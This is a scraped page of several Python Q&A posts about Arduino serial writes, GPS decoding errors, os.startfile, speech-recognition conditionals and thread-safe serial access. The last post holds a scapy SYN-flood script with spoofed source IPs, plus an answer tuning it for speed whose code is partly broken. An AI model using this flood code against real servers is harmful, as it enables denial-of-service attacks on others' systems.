Python error 'integer is required' - python-3.x

I am using the following code
# simpleSerialSend.py
import sys
import serial
import time
PORT = 'COM4' # The port my Arduino is on, on my WinXP box.
def main(val=5):
# Open a connection to the serial port. This will reset the Arduino, and
# make the LED flash once:
ser = serial.Serial(PORT)
# Must given Arduino time to rest.
# Any time less than this does not seem to work...
time.sleep(1.5)
# Now we can start sending data to it:
written = ser.write(val)
ser.close()
print ("Bytes Written to port:", written)
print ("Value written to port: '%s'"%val)
if __name__ == '__main__':
args = sys.argv
try:
main(args[1])
except IndexError:
main()
and I am kinda new to python.
So the error i get is like in the description said integer required.
I run it in my cmd with the following rule: c:\pyModules\simpleSerialSend.py 5
It is working fine only i get the error. What the code does is sending a variable to my arduino so a light goes blinking. The code of the arduino is correct.

The arguments are coming in as str. So, the solution to your problem is actually to just convert the string to int
main(int(args[1])) # assuming args[1] is a parsable numeric string
Also, maybe take a look at argparse.

Related

how can I test if a line of data is hexadecimal?

I am working with GPS data and usually the GPS chip returns a line like this:
b'$GNGGA,200121.00,5135.19146,N,00523.30483,E,1,05,1.89,-18.7,M,46.2,M,,*55\r\n'
However, sometimes the chip returns "None" values or a string of hexadecimal values like this:
b'\x00\x00\xa6\x13I\x82b\x9a\x82b\xaa\xbab\x82\xb2\xc2b\x8a\xb2R\xba25\n'
I am not sure if this is intentional or not. I have created the following python code:
import machine
import time
mygps=machine.UART(1, baudrate=9600, rx=34, tx=12, timeout =10)
msg = mygps.readline()
index = 0
while index < 3:
msg = mygps.readline()
print(msg)
if msg is not None:
print(msg.decode('utf-8'))
time.sleep(1)
index +=1
I want the code to skip the hexadecimal lines returned by the GPS chip. My code deals with the None issue by means of the "is not none" conditional statement, but it does not seem to be able to handle the hexadecimal line that is returned by the GPS chip. Whenever the GPS chip returns
a line of hex, it fails in the logical test "if message is not None" or the line right thereafter "print(msg.decode('utf-8'))"
The error only says: UnicodeError.
For me there are two possible solutions: Either make the python code able to deal with the line of Hex or do a logical test and skip both the None and Hex Lines. Both solutions will work for me but I don't have a clue how to solve it.
Probably someone who is acquainted with encoding decoding and hex can help me deal with this issue. Note that preferably python3/micropython native libraries are used to solve this as I am running the code on a very small microcontroller (ESP32)
All you need to do is wrap the call to print() in a try-except block:
while index < 3:
msg = mygps.readline()
print(msg)
if msg is not None:
try:
print(msg.decode('utf-8'))
except UnicodeError:
pass
time.sleep(1)
index += 1

os.startfile strange behaviour

I'm receiving a string from a web extension. The string is a local file path, and I'm trying to open the filepath using the default OS setting for whatever that may be.
edit: Sorry! The question is: how can I successfully open the given path with the OS default app?
The filepath is initially a string formatted as below:
'file:///C:/Test/File/Path.docx'
WEIRD THINGS!
If Word is already open, it works fine.
If Word isn't already open, the blue Word "launching" screen shows for a split second then disappears (crashes, as subsequent attempts show the "start word in safe mode?" dialog for a split second instead).
It won't work at all unless I use "os.startfile" twice specifically as written. One outside a try statement, one inside. Any other combo won't work.
From IDLE, it works 100% of the time with just one "os.startfile" call.
I've also tried to use subprocess.check_call, but that fails to launch anything at all.
Here is the script:
#!/usr/bin/env python
import sys
import json
import struct
import re, subprocess, os
def read_thread_func(queue):
while 1:
text_length_bytes = sys.stdin.buffer.read(4)
if len(text_length_bytes) == 0:
sys.exit(0)
text_length = struct.unpack("i", text_length_bytes)[0]
text = sys.stdin.read(text_length)
data = json.loads(text)
fileStr = data['url']
filePath = re.sub('file:\/{1,3}','',fileStr)
filePath = filePath.replace("/","\\")
filePath = os.path.normpath(filePath)
os.startfile(filePath)
try:
os.startfile(filePath)
except AttributeError:
"nothing to see here"
sys.exit(0)
def Main():
read_thread_func(None)
sys.exit(0)
if __name__ == '__main__':
Main()

program keeps executing first if condition

I'm trying to build a speech recognition app in python,everything works fine but,when I'm executing program the first If condition always executes no matter what the input is.
import speech_recognition as sr
from gtts import gTTS
import os
from google_speech import Speech
import webbrowser
def speech():
while True:
try:
with sr.Microphone() as source:
r = sr.Recognizer()
audio = r.listen(source,timeout=3, phrase_time_limit=3)
x = r.recognize_google(audio)
print(x)
if 'hello' or 'Hello' or 'Hi' in x:
speech=Speech('Hello,How are you?','en')
speech.play()
print('Input: ',x)
print('output: Hello,How are you?',)
elif 'omkara' or 'Omkara' in x:
speech=Speech('Playing Omkara song on Youtube','en')
speech.play()
webbrowser.get('/usr/bin/google-chrome').open('https://youtu.be/NoPAKchuhxE?t=21')
except sr.UnknownValueError:
print("No clue what you said, listening again... \n")
speech()
if __name__ == '__main__':
print('Executine Voice based commands \n')
speech()
here is my code I have used while to continuously repeat the program but,In first if condition,it should only be executed when there is 'Hello','Hi' in input. First time I say 'Hi',if is valid then,but when the program loops again with another input like 'how are you' it still executes first IF condition,can anyone please help me with this.Thank you.
You use or in wrong way there. Try to use this code:
if any(check in x for check in ('hello', 'Hello', 'Hi')):
The problem occurs because if 'Hello' becomes True instantly. Once you have a condition which is true, it will always go to if condition.
You can try to check this using bool('Hello'). The solution is to check each string separately.
if ('hello' in x) or ('Hello' in x) or ('Hi' in x):
something

Thread Save Serial Connection in Telepot (Python)

I have a serial device (Arduino) regularly outputting log data, which shold be written in a Log file. Also the device takes spontaneous commands over serial. I send the commands to a Raspberry over Telegram, which are handled and sent to the arduino by Telepot, which runs in a separate thread.
How can I make sure that the two processes get along with each other?
I am a complete Beginner in Multithreading.
Here is a shortened version of my Code:
import time
import datetime
import telepot
import os
import serial
from time import sleep
ser = None
bot = None
def log(data):
with open('logfile', 'w') as f:
file.write("Timestamp" + data)
#The handle Function is called by the telepot thread,
#whenever a message is received from Telegram
def handle(msg):
chat_id = msg['chat']['id']
command = msg['text']
print( 'Command Received: %s' % command)
if command = '/start':
bot.sendMessage(chat_id, 'welcome')
elif command == 'close_door':
#This serial write could possibly happen while a
#ser.readline() is executed, which would crash my program.
ser.write("Close Door")
elif command == 'LOG':
#Here i should make sure that nothing
#is waiting from the Arduino
#so that the next two Serial lines are the Arduinos
#respoonce to the "LOG" command.
#and that hanlde is the only
#function talking to the Serial port now.
ser.write("LOG")
response = ser.readline()
response += "\0000000A" + ser.readline()
#The Arduinos response is now saved as one string
#and sent to the User.
bot.sendMessage(chat_id, response)
print("Command Processed.")
bot = telepot.Bot('BOT TOKEN')
bot.message_loop(handle)
ser = serial.Serial("Arduino Serial Port", 9600)
print( 'I am listening ...')
while True:
#anything to make it not run at full speed (Recommendations welcome)
#The log updates are only once an hour.
sleep(10)
#here i need to make sure it does not collide with the other thread.
while ser.in_waiting > 0:
data = ser.readline()
log(data)
This code is not my actual code, but it should represent exactly what I'm trying to do.
My last resort would be to put the serial code in the threads loop function, But this would require me to change the libary which would be ugly.
I looked up some stuff about Queues in Asincio, and locking functions. However i don't really understand how to apply that. Also I don't use the async telepot.
After reading more on locking and threads, I found an answer with help of the links provided in this Question: Locking a method in Python?
It was often recommended to use Queues, however I don't know how.
My solution (code may have errors, but the principle works)
import time
import random
import datetime
import telepot
import os
import serial
from time import sleep
#we need to import the Lock from threading
from threading import Lock
ser = None
bot = None
def log(data):
with open('logfile', 'w') as f:
file.write("Timestamp" + data)
#create a lock:
ser_lock = Lock()
#The handle Function is called by the telepot thread,
#whenever a message is received from Telegram
def handle(msg):
#let the handle function use the same lock:
global ser_lock
chat_id = msg['chat']['id']
command = msg['text']
print( 'Command Received: %s' % command)
if command == '/start':
bot.sendMessage(chat_id, 'welcome')
elif command == 'close_door':
#This serial write could possibly happen while a
#ser.readline() is executed, which would crash my program.
with ser_lock:
ser.write("Close Door")
elif command == 'LOG':
#Here i should make sure that nothing
#is waiting from the Arduino
#so that the next two Serial lines are the Arduinos
#respoonce to the "LOG" command.
#and that hanlde is the only
#function talking to the Serial port now.
#the lock will only be open when no other thread is using the port.
#This thread will wait untill it's open.
with ser_lock:
while ser.in_waiting > 0:
data = ser.readline()
log(data)
#Should there be any old data, just write it to a file
#now i can safely execute serial writes and reads.
ser.write("LOG")
response = ser.readline()
response += "\0000000A" + ser.readline()
#The Arduinos response is now saved as one string
#and sent to the User.
bot.sendMessage(chat_id, response)
print("Command Processed.")
bot = telepot.Bot('BOT TOKEN')
bot.message_loop(handle)
ser = serial.Serial("Arduino Serial Port", 9600)
print( 'I am listening ...')
while True:
#anything to make it not run at full speed (Recommendations welcome)
#The log updates are only once a
sleep(10)
#here i need to make sure it does not collide with the other thread.
with ser_lock:
while ser.in_waiting > 0:
data = ser.readline()
log(data)

How can i improve the code? packets send per second performance should improve. i am a beginner

I am a trying to create a tool which will perform SYNFLOOD to a target server. Everything works fine but the performance of the script leaves much to desire. Can anyone suggest ways to maximize the performance of this tool?
from scapy.all import *
import random
def synflood(targetip):
sp = random.randint(1025,65535)
print ("Selected random source port is ---->",sp)
s = conf.L3socket(iface='eth0')
s.send(IP(src=RandIP(),dst=targetip)/TCP(sport=sp,dport=80,flags="S"))
print("Enter target ip:")
tar = input("")
p = input("Enter the number of request to be send to the target:")
pi = int(p)
i = 0
while i < pi:
print("***********************************************************")
print ("Sending SYN packets with Random Source and Random port:")
synflood(tar)
i += 1
print ("End of Attack number:",i)
print("***********************************************************")
print("END!")
If you dont mind to know what port are used (it allow us to remove the print), you can use this revised version of your code.
Also note that printing is slow. If you remove the print statements, everything is mostly faster
from scapy.all import *
def synflood(targetip, count):
# sends multiple packets (count)
send(IP(src=RandIP(),dst=targetip)/TCP(sport=RandNum(1025,65535),dport=80,flags="S"), iface=“eth0”, count=count)
print("Enter target ip:")
tar = input("")
p = input("Enter the number of request to be send to the target:")
print(“******”)
print ("Sending SYN packets with Random Source and Random port:")
synflood(tar, p)
print ("End of Attack number:",i)
print("******”)
# remember to close the socket
s.close()
print(“End!”)

Resources